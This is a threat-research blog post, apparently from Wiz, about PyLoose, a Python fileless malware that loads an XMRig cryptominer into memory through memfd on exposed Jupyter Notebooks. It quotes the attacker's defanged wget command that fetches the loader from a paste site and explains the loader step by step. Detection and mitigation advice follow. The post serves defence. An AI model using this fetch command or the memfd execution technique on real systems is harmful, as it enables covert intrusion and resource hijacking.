PyLoose: Python-based fileless malware targets cloud workloads to deliver cryptominer

PyLoose is a newly discovered Python-based fileless malware targeting cloud workloads. Get a breakdown of how the attack unfolds and the steps to mitigate it.

Using theWiz Runtime Sensor, we have recently detected a new fileless attack targeting cloud workloads. The attack consists of Python code that loads an XMRig Miner directly into memory usingmemfd, a known Linux fileless technique. As far as we know, this is the first publicly documented Python-based fileless attack targeting cloud workloads in the wild, and our evidence shows close to 200 instances where this attack was used for cryptomining. We named the attackPyLoosebased on the URL that hosted the Python loader (https://paste[.]c-net.org/chattingloosened).

Despite being a known technique, new fileless attacks targeting cloud workloads are rarely reported. In fact, the last activity was reportedtwo and a half years ago by AT&Twhen TeamTNT leveragedEzuri, an open-source tool written in Go, to load a fileless payload. Fileless attacks are evasive as they do not rely on writing payloads to disk. These attacks abuse operating system capabilities such as the LinuxmemfdRAM-based filesystem, making them challenging to detect with traditional security solutions.

In this blog post, we will detail the PyLoose attack and the Linux fileless technique that was used by the threat actor, discuss potential motivations for this type of attack, and lastly, provide steps for mitigating this attack chain.

PyLoose is a fairly simple Python script that holds a compressed and encoded precompiled XMRig miner. It was first detected by Wiz’s Runtime Sensor on June 22th, 2023. On the same day, the script was uploaded to VirusTotal from Norway, possibly by the attacker or one of the victims. It has zero detections at the time of this report’s publishing.

Let’s go over the attack flow step by step.

In this incident, the victim had a publicly accessible Jupyter Notebook service. Although the Notebook is designed to allow Python code execution, this specific service failed to restrict the execution of system commands, including via Python modules such asosandsubprocess. Environments like these are often sought by threat actors since it is often easier to scan the internet for publicly exposed services than to invest heavily into attacking an unknown target.

The attacker downloaded the fileless payload from paste.c-net.org (a Pastebin-equivalent website) [T1102] into the Python runtime’s memory by making an HTTPS GET request in a way that avoids saving the file to the disk. Even though we observed the threat actor using thewget -O- https[://]paste[.]c-net.org/chattingloosenedcommand in their initial attempts, our data suggests they switched to performing this request in Python for most of the attack volume. We believe this move was for the sake of simplicity rather than evasion or stealth.

The script first decoded and decompressed the XMRig miner and then loaded it directly into memory via the memory file descriptor,memfd. The content of the Python script was only 9 lines long and featured the entire fileless payload compressed withzliband encoded in base64.

Edited:The script was generated using thefileless-elf-execopen-source tool (thanks@[email protected] the contribution).

Here’s a breakdown of the PyLoose script, line by line:

Imports libraries for direct syscall invocation,oscommand execution, base64 operations, andzlibdecompression.

Loads the standard or default C library on the system.

Uses the C library to get access to the syscall invocation function.

Decodes the payload using the base64 algorithm [T1140].

Decompresses the decoded content [T1027.002].

Invokes syscall number 319 with arguments that match:memfd_create(name="", flags=MFD_CLOSEXEC)The returned argument from the syscall is the new file descriptor of the createdmemfd.

Writes the content of the decoded and decompressed malware to thememfdbuffer.

Constructs a path to thememfdfile descriptor.

Invokes the malware directly from memory via the newmemfd[T1620].The stringsmdis passed as its argv[0] and sole command-line argument, and an empty dictionary{}is passed as its environment variable, meaning no new environment variable will be passed.

The in-memory file was quickly identified as anXMRig[T1496] with embedded config v6.19.3, which is quite recent as the latest available version is currently 6.20.0. The cryptominer connected to the remote IPv4 address 51.75.64[.]249 is associated with the MoneroOcean mining pool.

Fileless attacks are more evasive than attacks that rely on dropping a payload on the disk. This is because they are:

Harder to detect – To effectively detect fileless malware in Linux, organizations need to deploy advanced security solutions that utilize runtime behavior-based analysis and memory monitoring techniques.

Harder to investigate – Once detected, the fact that the payload “lives” in memory complicates the forensics process as the file must be dumped from memory while the resource is up and running. Therefore, the ephemeral nature of cloud workloads makes the investigation even harder.

Less common – As mentioned above, documented cases of fileless attacks targeting cloud workloads are rare. As a result, security teams may put less effort into the detection of this type of attack.

The memory file descriptor,memfd, is a Linux feature that allows the creation of anonymous memory-backed file objects that can be used for various purposes, such as inter-process communication or temporary storage. Threat actors sometimes abuse this Linux feature to execute payloads without writing them to disk, and thus avoid traditional security tools that rely on basic binary scans. Once the payload is placed within a memory section created viamemfd, attackers can invoke one of theexecsyscalls on that memory content, treating it as if it were a regular file on disk, and thereby launch a new process.

Live processes executed frommemfdcan be identified on an up-and-running workload by inspecting the symbolic link of/proc/{pid}/exe, which begins with the/memfd:prefix.

The attacker went to great lengths to be untraceable by using an open data-sharing service to host the Python payload, adapting the fileless execution technique to Python, and compiling an XMRig miner to embed its config to avoid touching the disk or using a revealing command line.

All these steps suggest that the adversary has a level of sophistication not commonly observed in most publicly documented cloud workload attacks. Therefore, there are no strong indicators that can tie this attack to a specific threat actor.

To make sure that your Jupyter Notebook service is not susceptible to this type of attack, consider taking the following precautionary steps:

Avoid publicly exposing services like Jupyter Notebook asthat can lead to codeexecution.

Use a complex password/security token to access your service, or ideally, a centrally managed identity platform with MFA or other strong authentication methods.

Constrain the execution of system commands and other unrestricted execution vectors.

Risk management –The Wiz agentless host configuration scanner detects misconfigured and publicly exposed Jupyter Notebook server instances, allowing you to pinpoint any instances in your environment that allow remote unauthenticated access from any IP address.

Threat detection –TheWiz Runtime Sensor detects these types of fileless threats as the adversary moves through the attack chain, from the initial payload delivery (“Ingress tool was executed”​) and fileless payload (“Fileless execution was detected”) execution to the final intended cryptomining activities (“Connection to a known cryptomining pool”). The example alert below details a PyLoose fileless execution:

Learn moreabout the Wiz runtime sensor.

In this blog post, we detailed a new Python-based fileless attack that delivers a precompiled XMRig miner on a publicly exposed Jupyter Notebook. Public documentation of fileless malware targeting cloud workloads is rare; the most recent new fileless attack that was documented wasover two and a half years ago.

These attacks serve as a reminder that organizations should have a security posture solution in place to help security teams eliminate toxic risk combinations, in addition to a runtime protection solution that quickly detects and responds to breaches.

We would be happy to collaborate with you on this research! Feel free to reach out anytime to Wiz Threat Research at [email protected].

Command and Control – Ingress Tool Transfer (T1105)

Command and Control – Web Service (T1102)

Defense Evasion – Deobfuscate/Decode Files or Information (T1140)

Defense Evasion – Obfuscated Files or Information: Software Packing (T1027.002)

Defense Evasion – Reflective Code Loading (T1620)

Impact – Resource Hijacking (T1496)

Learn what makes Wiz the platform to enable your cloud security operation

For information about how Wiz handles your personal data, please see ourPrivacy Policy.

Dynamic linker hijacking via LD_PRELOAD is a Linux rootkit technique utilized by different threat actors in the wild. In part one of this series on Linux rootkits, we discuss this threat and explain how to detect it.

In the previous post in this series, we discussed how to do some basic cleaning of AWS access keys. In this post, we’ll show how to reduce the privileges in order to mitigate their risk.

Learn security best practices to deploy generative AI models as part of your multi-tenant cloud applications and avoid putting your customers’ data at risk.

Get a personalized demo

©2026Wiz, Inc.

StatusPrivacy PolicyTerms of UseModern Slavery StatementCookie Settings